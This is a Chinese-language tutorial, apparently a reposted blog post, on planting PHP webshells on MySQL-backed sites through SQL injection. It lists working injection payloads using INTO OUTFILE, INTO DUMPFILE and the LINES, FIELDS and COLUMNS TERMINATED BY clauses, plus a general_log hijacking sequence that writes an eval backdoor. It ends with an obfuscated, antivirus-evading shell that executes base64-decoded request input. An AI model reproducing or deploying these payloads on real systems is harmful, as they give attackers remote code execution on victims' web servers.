sql注入之文件寫入into outfile


sql注入中寫入webshell的幾種方式

sql注入中寫入webshell的幾種方式

  1. secure_file_priv="c:/…"被注釋掉或者是web路徑

  2. php.ini中的get_magic_quotes_gpc()函數未開啟

    其中secure_file_priv有三種情況

    1. 空,表示導入導出沒有任何限制
    2. 有指定路徑,比如("c:/xxx/xxx"):只能向指定路徑導入導出文件
    3. null,禁止導入導出

    在進行寫入websell時,要注意參數secure_file_priv是否有指定路徑或者是否為null。最好要獲得root權限

0x01

Union select后寫入

  1. union select+into outfile
- ?id=1')) union select 1,2, "<?php @eval($_POST[a]);?>" into outfile "D:/Phpstudy/PHPTutorial/test1.php

Ps:目錄分隔符要用斜杠(/)

  1. union select+into dumpfile

outfile與dumpfile有一定的區別
eg:假設有一個二進制文件,如果用outfile導入,則在導出過程中會被轉義從而被破壞,這是只能使用dumpfile函數

Into dumpfile函數不會對任何列行進行終止,也不會執行轉義處理

0x02

Lines terminated by

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num.php' lines terminated by '<?php phpinfo() ?>'--+

注入原理:select 語句查詢的內容寫入文件,Lines terminated by語句拼接webshell。

可以理解為:以每行終止的位置添加xx內容

0x03

Lines starting by

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num2.php' lines starting by '<?php phpinfo() ?>'--+ 

Lines starting by 以每行開始的位置添加xx內容

0x04

Fields terminated by

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num3.php' fields terminated by '<?php phpinfo() ?>'--+

Fields terminated by 每個字段的間隔中插入xx內容

0x05

Columns terminated by

- ?id=1' into outfile 'D:\\Phpstudy\\PHPTutorial\\WWW\\num4.php' columns terminated by '<?php phpinfo() ?>'--+

Columns terminated by 每個字段的位置添加xx內容

0x06

利用log寫入

當無法使用select into outfile寫入一句話時,可以通過修改mysql的log文件getshell
(必須獲得mysql的root權限)

show variables like '%general%';             #查看配置
set global general_log = on;                 #開啟general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #設置日志目錄為shell地址
select '<?php eval($_GET[g]);?>'             #寫入shell
set global general_log=off;                  #關閉general log模式

流程:

  1. 開啟general log模式

  2. 修改log根地址

  3. 寫入shell

開啟general log模式后,只要是對mysql進行操作的語句都會在log中有記錄,修改log根地址后,寫入一句話shell就可以利用相對路徑

附:

sql查詢免殺shell語句
SELECT “<?php $p = array(‘f’=>’a’,’pffff’=>’s’,’e’=>’fffff’,’lfaaaa’=>’r’,’nnnnn’=>’t’);$a = array_keys($p);$_=$p[‘pffff’].$p[‘pffff’].$a[2];$_= ‘a’.$_.’rt';$_(base64_decode($_REQUEST[‘username’]));?>”


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM